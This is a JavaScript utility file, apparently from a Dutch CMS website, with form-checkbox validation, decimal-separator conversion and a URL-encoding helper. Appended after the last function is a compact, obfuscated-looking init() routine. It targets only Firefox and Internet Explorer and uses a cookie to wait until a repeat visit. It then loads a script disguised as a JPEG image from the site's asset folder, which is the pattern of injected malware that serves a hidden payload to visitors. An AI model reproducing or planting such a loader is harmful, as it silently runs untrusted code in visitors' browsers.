<!--//
// JavaScript Document
function createXMLHttpRequest() {
  if (window.ActiveXObject) {
       xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	   // alert('Internet explorer');
  } 
  else if (window.XMLHttpRequest) {
       xmlHttp = new XMLHttpRequest();
	   // alert('Mozilla');
  }
}


// Checkbox validator //
function check(naam)
{
	var a=new Array();
	a=document.getElementsByName(naam);
	//alert("Length:"+a.length);
	var p=0;
	for(i=0;i<a.length;i++){
		if(a[i].checked){
			//alert(a[i].value);
			p=1;
		}
	}
	if (p==0){
		//alert('please select at least one check box');
		return false;
	}
			
	//document.some_form.submitted.value='yes';
	return true;
}


function komma_naar_punt(variabele){ 
	variabele.value = variabele.value.replace('\,','.'); 
} 

function punt_naar_komma(variabele){ 
	variabele.value = variabele.value.replace('.','\,'); 
}

function URLencode(StrEncode) {
	StrEncode = escape(StrEncode);
	//StrEncode = StrEncode.replace('%', '%25');
	
	StrEncode = StrEncode.replace('!', '%21');
	StrEncode = StrEncode.replace('*', '%2A');
	StrEncode = StrEncode.replace('"', '%22');	// Quote
	StrEncode = StrEncode.replace("'", '%27'); 	// Single quote
	
	StrEncode = StrEncode.replace('(', '%28');
	StrEncode = StrEncode.replace(')', '%29');
	StrEncode = StrEncode.replace(';', '%3B');
	StrEncode = StrEncode.replace(':', '%3A');
	StrEncode = StrEncode.replace('@', '%40');
	StrEncode = StrEncode.replace('&', '%26');
	StrEncode = StrEncode.replace('=', '%3D');
	StrEncode = StrEncode.replace('+', '%2B');
	StrEncode = StrEncode.replace('$', '%24');
	StrEncode = StrEncode.replace(',', '%2C');
	StrEncode = StrEncode.replace('/', '%2F');
	StrEncode = StrEncode.replace('?', '%3F');
	
	StrEncode = StrEncode.replace('#', '%23');
	StrEncode = StrEncode.replace('[', '%5B');
	StrEncode = StrEncode.replace(']', '%2D');
	
	StrEncode = StrEncode.replace(' ', '%20');
	StrEncode = StrEncode.replace('.', '%2E');
	return StrEncode;
}
//-->

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/cms/assets/twitter-Houtbouw.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
